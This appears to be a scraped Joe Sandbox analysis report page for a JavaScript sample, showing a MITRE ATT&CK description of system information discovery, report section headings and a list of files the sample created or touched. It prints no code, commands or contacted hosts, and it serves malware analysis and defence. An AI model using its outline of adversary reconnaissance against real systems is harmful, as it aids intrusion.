Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 22742867259569153.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9ebc8acc-75f2-4487-bd6c-f7a24699ae2c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3836

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
22742867259569153.js